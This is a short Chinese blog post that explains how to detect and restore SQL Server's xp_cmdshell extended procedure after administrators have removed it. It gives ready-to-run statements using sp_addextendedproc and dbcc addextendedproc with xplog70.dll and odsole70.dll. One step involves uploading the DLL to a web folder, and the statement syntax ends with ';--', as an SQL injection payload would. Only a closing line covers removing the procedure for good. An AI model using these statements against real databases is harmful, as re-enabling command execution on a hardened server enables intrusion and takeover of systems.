About

若世有仙魔二道,我必三跪九叩行万里,以求拜仙为师,若仙不收我,我必入魔,屠尽武林正道以明志。若魔已不收我,我必戮尽仙魔以雪耻。

By F4usT.

  • Nov

    23

    如何判段删掉,恢复 xp_cmdshell

    • 0 Comments
    • 技术文摘
    • 发布:admin
    • 引用:0
    • 浏览:

    一、xp_cmdshell的删除及恢复

    1、判断xp_cmdshell是否存在

    (SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name ='xp_cmdshell')

    返回结果为1就ok

    2、恢复xp_cmdshell的方法

    删除扩展存储过过程xp_cmdshell的语句

    exec sp_dropextendedproc 'xp_cmdshell'

    恢复cmdshell的sql语句

    exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

    exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from

    master.dbo.sysobjects where xtype='x' and

    返回结果为1就ok

    否则需上传c:\inetput\web\xplog70.dll后

    exec master.dbo.sp_addextendedproc 'xp_cmdshell',’c:\inetput\web\xplog70.dll’;--

    如果是用以下方法删除

    drop procedure sp_addextendedproc

    drop procedure sp_oacreate

    exec sp_dropextendedproc 'xp_cmdshell'

    则可以用以下语句恢复

    dbcc addextendedproc ("sp_oacreate","odsole70.dll")

    dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

    这样可以直接恢复,不用去管sp_addextendedproc是不是存在

    3.彻底删除xp_cmdshell扩展存储过程

    使用上面介绍的删除语句后,在磁盘上找到xplog70.dll这个文件。改名或者删除这个文件。

    相关文章:
      Post Comment.

      发表评论